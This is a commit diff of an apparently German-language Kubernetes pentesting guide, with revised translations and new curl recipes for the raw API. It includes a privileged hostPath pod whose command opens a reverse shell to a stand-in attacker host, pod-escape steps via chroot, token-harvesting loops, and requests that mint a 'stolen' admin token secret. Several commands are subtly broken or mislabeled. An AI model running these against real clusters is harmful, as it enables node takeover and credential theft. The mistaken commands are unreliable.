Translated ['src/pentesting-cloud/kubernetes-security/kubernetes-enumera

This commit is contained in:
Translator
2025-01-22 09:51:53 +00:00
parent cb961283e0
commit 4539f076a4
2 changed files with 233 additions and 23 deletions

View File

@@ -16,7 +16,7 @@ Bevor Sie fortfahren, wenn Sie nicht wissen, was ein Service in Kubernetes ist,
Entnommen aus der Kubernetes [Dokumentation](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/#use-the-default-service-account-to-access-the-api-server):
_„Wenn Sie ein Pod erstellen, wird ihm automatisch das_ standardmäßige _Service-Konto im selben Namespace zugewiesen.“_
_„Wenn Sie ein Pod erstellen, wird ihm automatisch das_ standardmäßige _Service-Konto im selben Namespace zugewiesen, wenn Sie kein Service-Konto angeben.“_
**ServiceAccount** ist ein von Kubernetes verwaltetes Objekt, das verwendet wird, um eine Identität für Prozesse bereitzustellen, die in einem Pod ausgeführt werden.\
Jedes Service-Konto hat ein zugehöriges Geheimnis, und dieses Geheimnis enthält ein Bearer-Token. Dies ist ein JSON Web Token (JWT), eine Methode zur sicheren Darstellung von Ansprüchen zwischen zwei Parteien.
@@ -27,13 +27,13 @@ In der Regel befindet sich **eines** der Verzeichnisse:
- `/var/run/secrets/kubernetes.io/serviceaccount`
- `/secrets/kubernetes.io/serviceaccount`
enthalten die Dateien:
enthält die Dateien:
- **ca.crt**: Es ist das CA-Zertifikat zur Überprüfung der Kubernetes-Kommunikation
- **namespace**: Es gibt den aktuellen Namespace an
- **token**: Es enthält das **Service-Token** des aktuellen Pods.
Jetzt, da Sie das Token haben, können Sie den API-Server in der Umgebungsvariable **`KUBECONFIG`** finden. Für weitere Informationen führen Sie `(env | set) | grep -i "kuber|kube`**`"`** aus.
Jetzt, da Sie das Token haben, können Sie den API-Server innerhalb der Umgebungsvariable **`KUBECONFIG`** finden. Für weitere Informationen führen Sie `(env | set) | grep -i "kuber|kube`**`"`** aus.
Das Service-Konto-Token wird mit dem Schlüssel signiert, der sich in der Datei **sa.key** befindet, und von **sa.pub** validiert.
@@ -83,7 +83,7 @@ GET /apis/apps/v1/namespaces/{namespace}/deployments
#In all namespaces
GET /apis/apps/v1/deployments
```
Wenn Sie die **`watch`** Berechtigung haben, dürfen Sie API-Anfragen ausführen, um Ressourcen zu überwachen:
Wenn Sie die **`watch`** Berechtigung haben, dürfen Sie API-Anfragen ausführen, um Assets zu überwachen:
```
GET /apis/apps/v1/deployments?watch=true
GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true
@@ -109,7 +109,7 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\""
# if kurl is still got cert Error, using -k option to solve this.
```
> [!WARNING]
> Standardmäßig kann das Pod den **kube-api server** im Domainnamen **`kubernetes.default.svc`** erreichen und Sie können das kube-Netzwerk in **`/etc/resolv.config`** sehen, da Sie hier die Adresse des Kubernetes-DNS-Servers finden (die ".1" des gleichen Bereichs ist der kube-api-Endpunkt).
> Standardmäßig kann das Pod **auf** den **kube-api-Server** im Domainnamen **`kubernetes.default.svc`** zugreifen, und Sie können das Kube-Netzwerk in **`/etc/resolv.config`** sehen, da Sie hier die Adresse des Kubernetes-DNS-Servers finden (die ".1" desselben Bereichs ist der kube-api-Endpunkt).
### Verwendung von kubectl
@@ -121,7 +121,7 @@ alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-
```
> Wenn kein `https://` in der URL vorhanden ist, kann es zu einem Fehler wie Bad Request kommen.
Sie finden ein [**offizielles kubectl Cheatsheet hier**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). Das Ziel der folgenden Abschnitte ist es, in geordneter Weise verschiedene Optionen zur Enumeration und zum Verständnis des neuen K8s, auf das Sie Zugriff erhalten haben, zu präsentieren.
Sie können ein [**offizielles kubectl Cheatsheet hier finden**](https://kubernetes.io/docs/reference/kubectl/cheatsheet/). Das Ziel der folgenden Abschnitte ist es, in geordneter Weise verschiedene Optionen zur Enumeration und zum Verständnis des neuen K8s, auf das Sie Zugriff erhalten haben, darzustellen.
Um die HTTP-Anfrage zu finden, die `kubectl` sendet, können Sie den Parameter `-v=8` verwenden.
@@ -270,9 +270,9 @@ Wenn Sie Geheimnisse lesen können, können Sie die folgenden Zeilen verwenden,
```bash
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
```
### Dienstkonten abrufen
### Servicekonten abrufen
Wie zu Beginn dieser Seite besprochen **wird einem Pod normalerweise ein Dienstkonto zugewiesen, wenn es ausgeführt wird**. Daher kann das Auflisten der Dienstkonten, ihrer Berechtigungen und wo sie ausgeführt werden, einem Benutzer ermöglichen, Privilegien zu eskalieren.
Wie zu Beginn dieser Seite besprochen **wird einem Pod normalerweise ein Servicekonto zugewiesen**. Daher kann das Auflisten der Servicekonten, ihrer Berechtigungen und wo sie ausgeführt werden, einem Benutzer ermöglichen, Privilegien zu eskalieren.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -288,9 +288,9 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
{{#endtab }}
{{#endtabs }}
### Deployments abrufen
### Holen Sie sich Bereitstellungen
Die Deployments geben die **Komponenten** an, die **ausgeführt** werden müssen.
Die Bereitstellungen geben die **Komponenten** an, die **ausgeführt** werden müssen.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -309,7 +309,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/deployments/
### Pods abrufen
Die Pods sind die eigentlichen **Container**, die **ausgeführt** werden.
Die Pods sind die tatsächlichen **Container**, die **ausgeführt** werden.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -365,7 +365,7 @@ kurl -v https://$APISERVER/api/v1/nodes/
### DaemonSets abrufen
**DaemonSets** ermöglichen es sicherzustellen, dass ein **spezifischer Pod auf allen Knoten** des Clusters (oder auf den ausgewählten) läuft. Wenn Sie den DaemonSet löschen, werden auch die von ihm verwalteten Pods entfernt.
**DaemonSets** ermöglichen es, sicherzustellen, dass ein **spezifischer Pod auf allen Knoten** des Clusters (oder auf den ausgewählten) läuft. Wenn Sie den DaemonSet löschen, werden auch die von ihm verwalteten Pods entfernt.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -401,7 +401,7 @@ kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces/<namespace>/cronjobs
### Konfigurationsmappe abrufen
Die configMap enthält immer viele Informationen und Konfigurationsdateien, die an Apps bereitgestellt werden, die in Kubernetes ausgeführt werden. Normalerweise finden Sie viele Passwörter, Geheimnisse und Tokens, die zum Verbinden und Validieren mit anderen internen/externen Diensten verwendet werden.
configMap enthält immer viele Informationen und Konfigurationsdateien, die an Apps bereitgestellt werden, die in Kubernetes ausgeführt werden. Normalerweise finden Sie viele Passwörter, Geheimnisse und Tokens, die zur Verbindung und Validierung mit anderen internen/externen Diensten verwendet werden.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -417,7 +417,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps
{{#endtab }}
{{#endtabs }}
### Netzwerkrichtlinien abrufen / Cilium Netzwerkrichtlinien
### Netzwerk-Richtlinien / Cilium Netzwerk-Richtlinien
{{#tabs }}
{{#tab name="Erster Tab" }}
@@ -449,7 +449,7 @@ k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm'
{{#endtab }}
{{#endtabs }}
### **Pod-Verbrauch abrufen**
### **Erhalte Pods-Verbrauch**
{{#tabs }}
{{#tab name="kubectl" }}
@@ -459,6 +459,10 @@ k top pod --all-namespaces
{{#endtab }}
{{#endtabs }}
## Interaktion mit dem Cluster ohne Verwendung von kubectl
Da der Kubernetes-Control-Plane eine REST-ful API bereitstellt, können Sie HTTP-Anfragen manuell erstellen und sie mit anderen Tools wie **curl** oder **wget** senden.
### Ausbrechen aus dem Pod
Wenn Sie in der Lage sind, neue Pods zu erstellen, könnten Sie in der Lage sein, aus ihnen zum Knoten auszubrechen. Um dies zu tun, müssen Sie einen neuen Pod mit einer YAML-Datei erstellen, zum erstellten Pod wechseln und dann in das System des Knotens chrooten. Sie können bereits vorhandene Pods als Referenz für die YAML-Datei verwenden, da sie vorhandene Images und Pfade anzeigen.
@@ -513,8 +517,214 @@ Und schließlich chrootest du in das System des Knotens.
```bash
chroot /root /bin/bash
```
Informationen erhalten von: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
### Erstellen eines privilegierten Pods
Die entsprechende yaml-Datei ist wie folgt:
```yaml
apiVersion: v1
kind: Pod
metadata:
name: everything-allowed-exec-pod
labels:
app: pentest
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: everything-allowed-pod
image: alpine
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "nc <ATTACKER_IP> <ATTACKER_PORT> -e sh" ]
#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name
volumes:
- name: noderoot
hostPath:
path: /
```
Erstellen Sie das Pod mit curl:
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 478' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc <ATTACKER_IP> <ATTACKER_PORT> -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Löschen eines Pods
Löschen eines Pods mit curl:
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
POD_NAME="everything-allowed-exec-pod"
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME"
```
### Erstellen eines Dienstkontos
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Length: 109' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Löschen eines Dienstkontos
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
SA_NAME=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"
```
### Erstelle eine Rolle
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 203' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Löschen einer Rolle
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_NAME=""
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME"
```
### Erstellen einer Rollenbindung
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 816' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Löschen einer Rollenbindung
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
ROLE_BINDING_NAME=""
curl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
```
### Löschen eines Secrets
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
curl --path-as-is -i -s -k -X $'POST' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Accept: application/json' \
-H $'Content-Type: application/json' \
-H $'Content-Length: 219' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Löschen eines Secrets
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
NAMESPACE="default"
SECRET_NAME=""
ccurl --path-as-is -i -s -k -X $'DELETE' \
-H "Host: $CONTROL_PLANE_HOST" \
-H "Authorization: Bearer $TOKEN" \
-H $'Content-Type: application/json' \
-H $'Accept: application/json' \
-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \
-H $'Content-Length: 35' \
-H $'Accept-Encoding: gzip, deflate, br' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"
```
## Referenzen
{{#ref}}